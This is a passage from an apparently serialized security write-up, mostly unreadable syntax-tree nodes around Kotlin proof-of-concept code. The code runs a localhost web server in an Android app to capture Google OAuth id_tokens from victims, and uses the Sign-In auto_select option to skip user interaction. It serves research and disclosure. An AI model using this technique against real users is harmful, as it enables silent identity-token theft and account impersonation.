\"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":198,"props":100775,"children":100776},{"class":200,"line":494},[100777,100781,100785,100789,100793,100797,100801],{"type":21,"tag":198,"props":100778,"children":100779},{"style":249},[100780],{"type":27,"value":71079},{"type":21,"tag":198,"props":100782,"children":100783},{"style":211},[100784],{"type":27,"value":71105},{"type":21,"tag":198,"props":100786,"children":100787},{"style":683},[100788],{"type":27,"value":3174},{"type":21,"tag":198,"props":100790,"children":100791},{"style":698},[100792],{"type":27,"value":71114},{"type":21,"tag":198,"props":100794,"children":100795},{"style":211},[100796],{"type":27,"value":71119},{"type":21,"tag":198,"props":100798,"children":100799},{"style":698},[100800],{"type":27,"value":39969},{"type":21,"tag":198,"props":100802,"children":100803},{"style":211},[100804],{"type":27,"value":71128},{"type":21,"tag":198,"props":100806,"children":100807},{"class":200,"line":515},[100808,100812],{"type":21,"tag":198,"props":100809,"children":100810},{"style":698},[100811],{"type":27,"value":71136},{"type":21,"tag":198,"props":100813,"children":100814},{"style":211},[100815],{"type":27,"value":71141},{"type":21,"tag":198,"props":100817,"children":100818},{"class":200,"line":4484},[100819],{"type":21,"tag":198,"props":100820,"children":100821},{"style":211},[100822],{"type":27,"value":880},{"type":21,"tag":198,"props":100824,"children":100825},{"class":200,"line":4493},[100826],{"type":21,"tag":198,"props":100827,"children":100828},{"emptyLinePlaceholder":16},[100829],{"type":27,"value":1283},{"type":21,"tag":198,"props":100831,"children":100832},{"class":200,"line":4561},[100833,100837,100841,100845],{"type":21,"tag":198,"props":100834,"children":100835},{"style":249},[100836],{"type":27,"value":71163},{"type":21,"tag":198,"props":100838,"children":100839},{"style":249},[100840],{"type":27,"value":7019},{"type":21,"tag":198,"props":100842,"children":100843},{"style":698},[100844],{"type":27,"value":71172},{"type":21,"tag":198,"props":100846,"children":100847},{"style":211},[100848],{"type":27,"value":16539},{"type":21,"tag":198,"props":100850,"children":100851},{"class":200,"line":4569},[100852,100856,100860,100864,100868],{"type":21,"tag":198,"props":100853,"children":100854},{"style":698},[100855],{"type":27,"value":71184},{"type":21,"tag":198,"props":100857,"children":100858},{"style":211},[100859],{"type":27,"value":71189},{"type":21,"tag":198,"props":100861,"children":100862},{"style":683},[100863],{"type":27,"value":3174},{"type":21,"tag":198,"props":100865,"children":100866},{"style":2540},[100867],{"type":27,"value":71198},{"type":21,"tag":198,"props":100869,"children":100870},{"style":211},[100871],{"type":27,"value":668},{"type":21,"tag":198,"props":100873,"children":100874},{"class":200,"line":4599},[100875,100879],{"type":21,"tag":198,"props":100876,"children":100877},{"style":698},[100878],{"type":27,"value":71210},{"type":21,"tag":198,"props":100880,"children":100881},{"style":211},[100882],{"type":27,"value":233},{"type":21,"tag":198,"props":100884,"children":100885},{"class":200,"line":4607},[100886,100890,100894,100898],{"type":21,"tag":198,"props":100887,"children":100888},{"style":249},[100889],{"type":27,"value":71222},{"type":21,"tag":198,"props":100891,"children":100892},{"style":211},[100893],{"type":27,"value":706},{"type":21,"tag":198,"props":100895,"children":100896},{"style":205},[100897],{"type":27,"value":71231},{"type":21,"tag":198,"props":100899,"children":100900},{"style":211},[100901],{"type":27,"value":668},{"type":21,"tag":198,"props":100903,"children":100904},{"class":200,"line":4638},[100905,100909,100913],{"type":21,"tag":198,"props":100906,"children":100907},{"style":211},[100908],{"type":27,"value":71243},{"type":21,"tag":198,"props":100910,"children":100911},{"style":698},[100912],{"type":27,"value":71248},{"type":21,"tag":198,"props":100914,"children":100915},{"style":211},[100916],{"type":27,"value":233},{"type":21,"tag":198,"props":100918,"children":100919},{"class":200,"line":4646},[100920,100924],{"type":21,"tag":198,"props":100921,"children":100922},{"style":698},[100923],{"type":27,"value":71260},{"type":21,"tag":198,"props":100925,"children":100926},{"style":211},[100927],{"type":27,"value":233},{"type":21,"tag":198,"props":100929,"children":100930},{"class":200,"line":4706},[100931,100935,100939,100943,100947],{"type":21,"tag":198,"props":100932,"children":100933},{"style":698},[100934],{"type":27,"value":71272},{"type":21,"tag":198,"props":100936,"children":100937},{"style":211},[100938],{"type":27,"value":71277},{"type":21,"tag":198,"props":100940,"children":100941},{"style":683},[100942],{"type":27,"value":3174},{"type":21,"tag":198,"props":100944,"children":100945},{"style":205},[100946],{"type":27,"value":71286},{"type":21,"tag":198,"props":100948,"children":100949},{"style":211},[100950],{"type":27,"value":789},{"type":21,"tag":198,"props":100952,"children":100953},{"class":200,"line":9857},[100954,100958,100962,100966,100970,100974,100978,100982],{"type":21,"tag":198,"props":100955,"children":100956},{"style":698},[100957],{"type":27,"value":71272},{"type":21,"tag":198,"props":100959,"children":100960},{"style":211},[100961],{"type":27,"value":71302},{"type":21,"tag":198,"props":100963,"children":100964},{"style":683},[100965],{"type":27,"value":3174},{"type":21,"tag":198,"props":100967,"children":100968},{"style":205},[100969],{"type":27,"value":71311},{"type":21,"tag":198,"props":100971,"children":100972},{"style":211},[100973],{"type":27,"value":71316},{"type":21,"tag":198,"props":100975,"children":100976},{"style":683},[100977],{"type":27,"value":3174},{"type":21,"tag":198,"props":100979,"children":100980},{"style":205},[100981],{"type":27,"value":71325},{"type":21,"tag":198,"props":100983,"children":100984},{"style":211},[100985],{"type":27,"value":789},{"type":21,"tag":198,"props":100987,"children":100988},{"class":200,"line":9875},[100989,100993,100997,101001],{"type":21,"tag":198,"props":100990,"children":100991},{"style":698},[100992],{"type":27,"value":71337},{"type":21,"tag":198,"props":100994,"children":100995},{"style":211},[100996],{"type":27,"value":706},{"type":21,"tag":198,"props":100998,"children":100999},{"style":205},[101000],{"type":27,"value":71346},{"type":21,"tag":198,"props":101002,"children":101003},{"style":211},[101004],{"type":27,"value":789},{"type":21,"tag":198,"props":101006,"children":101007},{"class":200,"line":9920},[101008],{"type":21,"tag":198,"props":101009,"children":101010},{"style":211},[101011],{"type":27,"value":71358},{"type":21,"tag":198,"props":101013,"children":101014},{"class":200,"line":10026},[101015,101019],{"type":21,"tag":198,"props":101016,"children":101017},{"style":698},[101018],{"type":27,"value":71366},{"type":21,"tag":198,"props":101020,"children":101021},{"style":211},[101022],{"type":27,"value":233},{"type":21,"tag":198,"props":101024,"children":101025},{"class":200,"line":24302},[101026,101030,101034,101038,101042],{"type":21,"tag":198,"props":101027,"children":101028},{"style":698},[101029],{"type":27,"value":71378},{"type":21,"tag":198,"props":101031,"children":101032},{"style":211},[101033],{"type":27,"value":1891},{"type":21,"tag":198,"props":101035,"children":101036},{"style":683},[101037],{"type":27,"value":5193},{"type":21,"tag":198,"props":101039,"children":101040},{"style":205},[101041],{"type":27,"value":71391},{"type":21,"tag":198,"props":101043,"children":101044},{"style":211},[101045],{"type":27,"value":1909},{"type":21,"tag":198,"props":101047,"children":101048},{"class":200,"line":24337},[101049,101053],{"type":21,"tag":198,"props":101050,"children":101051},{"style":698},[101052],{"type":27,"value":71403},{"type":21,"tag":198,"props":101054,"children":101055},{"style":211},[101056],{"type":27,"value":233},{"type":21,"tag":198,"props":101058,"children":101059},{"class":200,"line":24345},[101060,101064],{"type":21,"tag":198,"props":101061,"children":101062},{"style":683},[101063],{"type":27,"value":71415},{"type":21,"tag":198,"props":101065,"children":101066},{"style":205},[101067],{"type":27,"value":101068},"\"document.body.innerText = location.hash;\"\n",{"type":21,"tag":198,"props":101070,"children":101071},{"class":200,"line":24353},[101072],{"type":21,"tag":198,"props":101073,"children":101074},{"style":211},[101075],{"type":27,"value":71428},{"type":21,"tag":198,"props":101077,"children":101078},{"class":200,"line":24362},[101079],{"type":21,"tag":198,"props":101080,"children":101081},{"style":211},[101082],{"type":27,"value":71358},{"type":21,"tag":198,"props":101084,"children":101085},{"class":200,"line":24404},[101086],{"type":21,"tag":198,"props":101087,"children":101088},{"style":211},[101089],{"type":27,"value":71443},{"type":21,"tag":198,"props":101091,"children":101092},{"class":200,"line":24437},[101093],{"type":21,"tag":198,"props":101094,"children":101095},{"style":211},[101096],{"type":27,"value":71451},{"type":21,"tag":198,"props":101098,"children":101099},{"class":200,"line":24445},[101100],{"type":21,"tag":198,"props":101101,"children":101102},{"style":211},[101103],{"type":27,"value":59262},{"type":21,"tag":198,"props":101105,"children":101106},{"class":200,"line":24453},[101107,101111,101115,101119,101123,101127],{"type":21,"tag":198,"props":101108,"children":101109},{"style":211},[101110],{"type":27,"value":71466},{"type":21,"tag":198,"props":101112,"children":101113},{"style":698},[101114],{"type":27,"value":71471},{"type":21,"tag":198,"props":101116,"children":101117},{"style":211},[101118],{"type":27,"value":71476},{"type":21,"tag":198,"props":101120,"children":101121},{"style":683},[101122],{"type":27,"value":3174},{"type":21,"tag":198,"props":101124,"children":101125},{"style":249},[101126],{"type":27,"value":252},{"type":21,"tag":198,"props":101128,"children":101129},{"style":211},[101130],{"type":27,"value":789},{"type":21,"tag":198,"props":101132,"children":101133},{"class":200,"line":24462},[101134],{"type":21,"tag":198,"props":101135,"children":101136},{"style":211},[101137],{"type":27,"value":880},{"type":21,"tag":30,"props":101139,"children":101140},{},[101141],{"type":27,"value":101142},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":21,"tag":30,"props":101144,"children":101145},{},[101146,101148,101154],{"type":27,"value":101147},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":21,"tag":194,"props":101149,"children":101151},{"className":101150},[],[101152],{"type":27,"value":101153},"auto_select",{"type":27,"value":101155}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":21,"tag":187,"props":101157,"children":101159},{"className":100515,"code":101158,"language":100517,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[101160],{"type":21,"tag":194,"props":101161,"children":101162},{"__ignoreMap":7},[101163,101190,101209,101216,101235,101246,101257,101288,101311,101358,101365,101372,101379,101419,101430,101437,101444,101463,101486,101497,101516,101531,101542,101562,101573,101590,101616,101640,101647,101658,101670,101683,101691,101699,101706,101713,101721,101729,101737,101745,101753,101761,101769,101776,101783,101791,101799,101807,101814,101821,101829,101836,101857,101865,101872,101879,101890,101914,101926,101943,101950,101957,101965,101973,101981,102009],{"type":21,"tag":198,"props":101164,"children":101165},{"class":200,"line":201},[101166,101170,101174,101178,101182,101186],{"type":21,"tag":198,"props":101167,"children":101168},{"style":249},[101169],{"type":27,"value":70824},{"type":21,"tag":198,"props":101171,"children":101172},{"style":249},[101173],{"type":27,"value":7019},{"type":21,"tag":198,"props":101175,"children":101176},{"style":698},[101177],{"type":27,"value":70833},{"type":21,"tag":198,"props":101179,"children":101180},{"style":211},[101181],{"type":27,"value":70838},{"type":21,"tag":198,"props":101183,"children":101184},{"style":1966},[101185],{"type":27,"value":70843},{"type":21,"tag":198,"props":101187,"children":101188},{"style":211},[101189],{"type":27,"value":70848},{"type":21,"tag":198,"props":101191,"children":101192},{"class":200,"line":217},[101193,101197,101201,101205],{"type":21,"tag":198,"props":101194,"children":101195},{"style":249},[101196],{"type":27,"value":70856},{"type":21,"tag":198,"props":101198,"children":101199},{"style":211},[101200],{"type":27,"value":658},{"type":21,"tag":198,"props":101202,"children":101203},{"style":698},[101204],{"type":27,"value":70865},{"type":21,"tag":198,"props":101206,"children":101207},{"style":211},[101208],{"type":27,"value":70870},{"type":21,"tag":198,"props":101210,"children":101211},{"class":200,"line":236},[101212],{"type":21,"tag":198,"props":101213,"children":101214},{"emptyLinePlaceholder":16},[101215],{"type":27,"value":1283},{"type":21,"tag":198,"props":101217,"children":101218},{"class":200,"line":260},[101219,101223,101227,101231],{"type":21,"tag":198,"props":101220,"children":101221},{"style":698},[101222],{"type":27,"value":70893},{"type":21,"tag":198,"props":101224,"children":101225},{"style":211},[101226],{"type":27,"value":70898},{"type":21,"tag":198,"props":101228,"children":101229},{"style":698},[101230],{"type":27,"value":70903},{"type":21,"tag":198,"props":101232,"children":101233},{"style":211},[101234],{"type":27,"value":233},{"type":21,"tag":198,"props":101236,"children":101237},{"class":200,"line":281},[101238,101242],{"type":21,"tag":198,"props":101239,"children":101240},{"style":640},[101241],{"type":27,"value":70915},{"type":21,"tag":198,"props":101243,"children":101244},{"style":211},[101245],{"type":27,"value":233},{"type":21,"tag":198,"props":101247,"children":101248},{"class":200,"line":302},[101249,101253],{"type":21,"tag":198,"props":101250,"children":101251},{"style":698},[101252],{"type":27,"value":70927},{"type":21,"tag":198,"props":101254,"children":101255},{"style":211},[101256],{"type":27,"value":1837},{"type":21,"tag":198,"props":101258,"children":101259},{"class":200,"line":323},[101260,101264,101268,101272,101276,101280,101284],{"type":21,"tag":198,"props":101261,"children":101262},{"style":211},[101263],{"type":27,"value":70939},{"type":21,"tag":198,"props":101265,"children":101266},{"style":698},[101267],{"type":27,"value":70944},{"type":21,"tag":198,"props":101269,"children":101270},{"style":211},[101271],{"type":27,"value":706},{"type":21,"tag":198,"props":101273,"children":101274},{"style":205},[101275],{"type":27,"value":70953},{"type":21,"tag":198,"props":101277,"children":101278},{"style":211},[101279],{"type":27,"value":828},{"type":21,"tag":198,"props":101281,"children":101282},{"style":205},[101283],{"type":27,"value":70962},{"type":21,"tag":198,"props":101285,"children":101286},{"style":211},[101287],{"type":27,"value":789},{"type":21,"tag":198,"props":101289,"children":101290},{"class":200,"line":344},[101291,101295,101299,101303,101307],{"type":21,"tag":198,"props":101292,"children":101293},{"style":211},[101294],{"type":27,"value":70974},{"type":21,"tag":198,"props":101296,"children":101297},{"style":249},[101298],{"type":27,"value":1498},{"type":21,"tag":198,"props":101300,"children":101301},{"style":211},[101302],{"type":27,"value":70983},{"type":21,"tag":198,"props":101304,"children":101305},{"style":1966},[101306],{"type":27,"value":70988},{"type":21,"tag":198,"props":101308,"children":101309},{"style":211},[101310],{"type":27,"value":668},{"type":21,"tag":198,"props":101312,"children":101313},{"class":200,"line":365},[101314,101318,101322,101326,101330,101334,101338,101342,101346,101350,101354],{"type":21,"tag":198,"props":101315,"children":101316},{"style":211},[101317],{"type":27,"value":70939},{"type":21,"tag":198,"props":101319,"children":101320},{"style":698},[101321],{"type":27,"value":51830},{"type":21,"tag":198,"props":101323,"children":101324},{"style":211},[101325],{"type":27,"value":706},{"type":21,"tag":198,"props":101327,"children":101328},{"style":205},[101329],{"type":27,"value":70953},{"type":21,"tag":198,"props":101331,"children":101332},{"style":211},[101333],{"type":27,"value":828},{"type":21,"tag":198,"props":101335,"children":101336},{"style":205},[101337],{"type":27,"value":71020},{"type":21,"tag":198,"props":101339,"children":101340},{"style":249},[101341],{"type":27,"value":756},{"type":21,"tag":198,"props":101343,"children":101344},{"style":683},[101345],{"type":27,"value":71029},{"type":21,"tag":198,"props":101347,"children":101348},{"style":249},[101349],{"type":27,"value":779},{"type":21,"tag":198,"props":101351,"children":101352},{"style":205},[101353],{"type":27,"value":20854},{"type":21,"tag":198,"props":101355,"children":101356},{"style":211},[101357],{"type":27,"value":71042},{"type":21,"tag":198,"props":101359,"children":101360},{"class":200,"line":386},[101361],{"type":21,"tag":198,"props":101362,"children":101363},{"style":211},[101364],{"type":27,"value":59262},{"type":21,"tag":198,"props":101366,"children":101367},{"class":200,"line":408},[101368],{"type":21,"tag":198,"props":101369,"children":101370},{"style":211},[101371],{"type":27,"value":1160},{"type":21,"tag":198,"props":101373,"children":101374},{"class":200,"line":429},[101375],{"type":21,"tag":198,"props":101376,"children":101377},{"emptyLinePlaceholder":16},[101378],{"type":27,"value":1283},{"type":21,"tag":198,"props":101380,"children":101381},{"class":200,"line":450},[101382,101386,101390,101394,101398,101402,101406,101410,101415],{"type":21,"tag":198,"props":101383,"children":101384},{"style":249},[101385],{"type":27,"value":71079},{"type":21,"tag":198,"props":101387,"children":101388},{"style":211},[101389],{"type":27,"value":71105},{"type":21,"tag":198,"props":101391,"children":101392},{"style":683},[101393],{"type":27,"value":3174},{"type":21,"tag":198,"props":101395,"children":101396},{"style":698},[101397],{"type":27,"value":71114},{"type":21,"tag":198,"props":101399,"children":101400},{"style":211},[101401],{"type":27,"value":71119},{"type":21,"tag":198,"props":101403,"children":101404},{"style":698},[101405],{"type":27,"value":39969},{"type":21,"tag":198,"props":101407,"children":101408},{"style":211},[101409],{"type":27,"value":706},{"type":21,"tag":198,"props":101411,"children":101412},{"style":205},[101413],{"type":27,"value":101414},"\"http://localhost:3000\"",{"type":21,"tag":198,"props":101416,"children":101417},{"style":211},[101418],{"type":27,"value":872},{"type":21,"tag":198,"props":101420,"children":101421},{"class":200,"line":468},[101422,101426],{"type":21,"tag":198,"props":101423,"children":101424},{"style":698},[101425],{"type":27,"value":71136},{"type":21,"tag":198,"props":101427,"children":101428},{"style":211},[101429],{"type":27,"value":71141},{"type":21,"tag":198,"props":101431,"children":101432},{"class":200,"line":477},[101433],{"type":21,"tag":198,"props":101434,"children":101435},{"style":211},[101436],{"type":27,"value":880},{"type":21,"tag":198,"props":101438,"children":101439},{"class":200,"line":494},[101440],{"type":21,"tag":198,"props":101441,"children":101442},{"emptyLinePlaceholder":16},[101443],{"type":27,"value":1283},{"type":21,"tag":198,"props":101445,"children":101446},{"class":200,"line":515},[101447,101451,101455,101459],{"type":21,"tag":198,"props":101448,"children":101449},{"style":249},[101450],{"type":27,"value":71163},{"type":21,"tag":198,"props":101452,"children":101453},{"style":249},[101454],{"type":27,"value":7019},{"type":21,"tag":198,"props":101456,"children":101457},{"style":698},[101458],{"type":27,"value":71172},{"type":21,"tag":198,"props":101460,"children":101461},{"style":211},[101462],{"type":27,"value":16539},{"type":21,"tag":198,"props":101464,"children":101465},{"class":200,"line":4484},[101466,101470,101474,101478,101482],{"type":21,"tag":198,"props":101467,"children":101468},{"style":698},[101469],{"type":27,"value":71184},{"type":21,"tag":198,"props":101471,"children":101472},{"style":211},[101473],{"type":27,"value":71189},{"type":21,"tag":198,"props":101475,"children":101476},{"style":683},[101477],{"type":27,"value":3174},{"type":21,"tag":198,"props":101479,"children":101480},{"style":2540},[101481],{"type":27,"value":71198},{"type":21,"tag":198,"props":101483,"children":101484},{"style":211},[101485],{"type":27,"value":668},{"type":21,"tag":198,"props":101487,"children":101488},{"class":200,"line":4493},[101489,101493],{"type":21,"tag":198,"props":101490,"children":101491},{"style":698},[101492],{"type":27,"value":71210},{"type":21,"tag":198,"props":101494,"children":101495},{"style":211},[101496],{"type":27,"value":233},{"type":21,"tag":198,"props":101498,"children":101499},{"class":200,"line":4561},[101500,101504,101508,101512],{"type":21,"tag":198,"props":101501,"children":101502},{"style":249},[101503],{"type":27,"value":71222},{"type":21,"tag":198,"props":101505,"children":101506},{"style":211},[101507],{"type":27,"value":706},{"type":21,"tag":198,"props":101509,"children":101510},{"style":205},[101511],{"type":27,"value":71231},{"type":21,"tag":198,"props":101513,"children":101514},{"style":211},[101515],{"type":27,"value":668},{"type":21,"tag":198,"props":101517,"children":101518},{"class":200,"line":4569},[101519,101523,101527],{"type":21,"tag":198,"props":101520,"children":101521},{"style":211},[101522],{"type":27,"value":71243},{"type":21,"tag":198,"props":101524,"children":101525},{"style":698},[101526],{"type":27,"value":71248},{"type":21,"tag":198,"props":101528,"children":101529},{"style":211},[101530],{"type":27,"value":233},{"type":21,"tag":198,"props":101532,"children":101533},{"class":200,"line":4599},[101534,101538],{"type":21,"tag":198,"props":101535,"children":101536},{"style":698},[101537],{"type":27,"value":71260},{"type":21,"tag":198,"props":101539,"children":101540},{"style":211},[101541],{"type":27,"value":233},{"type":21,"tag":198,"props":101543,"children":101544},{"class":200,"line":4607},[101545,101549,101553,101558],{"type":21,"tag":198,"props":101546,"children":101547},{"style":698},[101548],{"type":27,"value":71337},{"type":21,"tag":198,"props":101550,"children":101551},{"style":211},[101552],{"type":27,"value":706},{"type":21,"tag":198,"props":101554,"children":101555},{"style":205},[101556],{"type":27,"value":101557},"\"Test\"",{"type":21,"tag":198,"props":101559,"children":101560},{"style":211},[101561],{"type":27,"value":789},{"type":21,"tag":198,"props":101563,"children":101564},{"class":200,"line":4638},[101565,101569],{"type":21,"tag":198,"props":101566,"children":101567},{"style":698},[101568],{"type":27,"value":71403},{"type":21,"tag":198,"props":101570,"children":101571},{"style":211},[101572],{"type":27,"value":233},{"type":21,"tag":198,"props":101574,"children":101575},{"class":200,"line":4646},[101576,101581,101585],{"type":21,"tag":198,"props":101577,"children":101578},{"style":211},[101579],{"type":27,"value":101580}," src ",{"type":21,"tag":198,"props":101582,"children":101583},{"style":683},[101584],{"type":27,"value":3174},{"type":21,"tag":198,"props":101586,"children":101587},{"style":205},[101588],{"type":27,"value":101589}," \"https://accounts.google.com/gsi/client\"\n",{"type":21,"tag":198,"props":101591,"children":101592},{"class":200,"line":4706},[101593,101598,101603,101607,101611],{"type":21,"tag":198,"props":101594,"children":101595},{"style":211},[101596],{"type":27,"value":101597}," attributes[",{"type":21,"tag":198,"props":101599,"children":101600},{"style":205},[101601],{"type":27,"value":101602},"\"async\"",{"type":21,"tag":198,"props":101604,"children":101605},{"style":211},[101606],{"type":27,"value":9472},{"type":21,"tag":198,"props":101608,"children":101609},{"style":683},[101610],{"type":27,"value":3174},{"type":21,"tag":198,"props":101612,"children":101613},{"style":205},[101614],{"type":27,"value":101615}," \"\"\n",{"type":21,"tag":198,"props":101617,"children":101618},{"class":200,"line":9857},[101619,101623,101628,101632,101636],{"type":21,"tag":198,"props":101620,"children":101621},{"style":211},[101622],{"type":27,"value":101597},{"type":21,"tag":198,"props":101624,"children":101625},{"style":205},[101626],{"type":27,"value":101627},"\"defer\"",{"type":21,"tag":198,"props":101629,"children":101630},{"style":211},[101631],{"type":27,"value":9472},{"type":21,"tag":198,"props":101633,"children":101634},{"style":683},[101635],{"type":27,"value":3174},{"type":21,"tag":198,"props":101637,"children":101638},{"style":205},[101639],{"type":27,"value":101615},{"type":21,"tag":198,"props":101641,"children":101642},{"class":200,"line":9875},[101643],{"type":21,"tag":198,"props":101644,"children":101645},{"style":211},[101646],{"type":27,"value":71428},{"type":21,"tag":198,"props":101648,"children":101649},{"class":200,"line":9920},[101650,101654],{"type":21,"tag":198,"props":101651,"children":101652},{"style":698},[101653],{"type":27,"value":71403},{"type":21,"tag":198,"props":101655,"children":101656},{"style":211},[101657],{"type":27,"value":233},{"type":21,"tag":198,"props":101659,"children":101660},{"class":200,"line":10026},[101661,101666],{"type":21,"tag":198,"props":101662,"children":101663},{"style":698},[101664],{"type":27,"value":101665}," unsafe",{"type":21,"tag":198,"props":101667,"children":101668},{"style":211},[101669],{"type":27,"value":233},{"type":21,"tag":198,"props":101671,"children":101672},{"class":200,"line":24302},[101673,101678],{"type":21,"tag":198,"props":101674,"children":101675},{"style":683},[101676],{"type":27,"value":101677}," +",{"type":21,"tag":198,"props":101679,"children":101680},{"style":205},[101681],{"type":27,"value":101682},"\"\"\"\n",{"type":21,"tag":198,"props":101684,"children":101685},{"class":200,"line":24337},[101686],{"type":21,"tag":198,"props":101687,"children":101688},{"style":205},[101689],{"type":27,"value":101690}," function handleCredentialResponse(response) {\n",{"type":21,"tag":198,"props":101692,"children":101693},{"class":200,"line":24345},[101694],{"type":21,"tag":198,"props":101695,"children":101696},{"style":205},[101697],{"type":27,"value":101698}," alert(\"credential: \" + response.credential);\n",{"type":21,"tag":198,"props":101700,"children":101701},{"class":200,"line":24353},[101702],{"type":21,"tag":198,"props":101703,"children":101704},{"style":205},[101705],{"type":27,"value":880},{"type":21,"tag":198,"props":101707,"children":101708},{"class":200,"line":24362},[101709],{"type":21,"tag":198,"props":101710,"children":101711},{"emptyLinePlaceholder":16},[101712],{"type":27,"value":1283},{"type":21,"tag":198,"props":101714,"children":101715},{"class":200,"line":24404},[101716],{"type":21,"tag":198,"props":101717,"children":101718},{"style":205},[101719],{"type":27,"value":101720}," window.onload = async function () {\n",{"type":21,"tag":198,"props":101722,"children":101723},{"class":200,"line":24437},[101724],{"type":21,"tag":198,"props":101725,"children":101726},{"style":205},[101727],{"type":27,"value":101728}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":21,"tag":198,"props":101730,"children":101731},{"class":200,"line":24445},[101732],{"type":21,"tag":198,"props":101733,"children":101734},{"style":205},[101735],{"type":27,"value":101736}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":21,"tag":198,"props":101738,"children":101739},{"class":200,"line":24453},[101740],{"type":21,"tag":198,"props":101741,"children":101742},{"style":205},[101743],{"type":27,"value":101744}," google.accounts.id.initialize({\n",{"type":21,"tag":198,"props":101746,"children":101747},{"class":200,"line":24462},[101748],{"type":21,"tag":198,"props":101749,"children":101750},{"style":205},[101751],{"type":27,"value":101752}," client_id: client_id,\n",{"type":21,"tag":198,"props":101754,"children":101755},{"class":200,"line":24538},[101756],{"type":21,"tag":198,"props":101757,"children":101758},{"style":205},[101759],{"type":27,"value":101760}," callback: handleCredentialResponse,\n",{"type":21,"tag":198,"props":101762,"children":101763},{"class":200,"line":24571},[101764],{"type":21,"tag":198,"props":101765,"children":101766},{"style":205},[101767],{"type":27,"value":101768}," auto_select: true\n",{"type":21,"tag":198,"props":101770,"children":101771},{"class":200,"line":24579},[101772],{"type":21,"tag":198,"props":101773,"children":101774},{"style":205},[101775],{"type":27,"value":8108},{"type":21,"tag":198,"props":101777,"children":101778},{"class":200,"line":24587},[101779],{"type":21,"tag":198,"props":101780,"children":101781},{"emptyLinePlaceholder":16},[101782],{"type":27,"value":1283},{"type":21,"tag":198,"props":101784,"children":101785},{"class":200,"line":24624},[101786],{"type":21,"tag":198,"props":101787,"children":101788},{"style":205},[101789],{"type":27,"value":101790}," google.accounts.id.renderButton(\n",{"type":21,"tag":198,"props":101792,"children":101793},{"class":200,"line":24637},[101794],{"type":21,"tag":198,"props":101795,"children":101796},{"style":205},[101797],{"type":27,"value":101798}," document.getElementById(\"g_id_signin\"),\n",{"type":21,"tag":198,"props":101800,"children":101801},{"class":200,"line":24650},[101802],{"type":21,"tag":198,"props":101803,"children":101804},{"style":205},[101805],{"type":27,"value":101806}," { theme: \"outline\", size: \"large\" 